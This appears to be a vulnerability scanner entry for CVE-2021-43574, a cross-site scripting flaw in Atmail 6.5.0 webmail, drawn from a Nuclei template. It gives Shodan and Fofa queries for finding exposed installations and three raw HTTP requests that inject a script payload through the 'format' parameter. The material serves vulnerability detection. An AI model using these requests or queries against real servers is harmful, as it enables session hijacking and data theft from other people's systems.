| Title | Atmail 6.5.0 - Cross-Site Scripting |
|---|---|
| Author | arafatansari,ritikchaddha |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the latest security patches or updates provided by Atmail to fix the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.2705 |
| CVE ID | CVE-2021-43574 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"Powered by Atmail"http.html:"powered by atmail"http.html:"atmail" |
| Fofa Query | body="powered by atmail"body="atmail" |
| Tags | cve2021 cve atmail xss vuln |
Atmail 6.5.0 contains a cross-site scripting vulnerability in WebAdmin Control Pane via the format parameter to the default URI, which allows remote attackers to inject arbitrary web script or HTML via the “format” parameter.
GET /?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /atmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /atmail/webmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-43574.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-43574.pcap
N/AN/A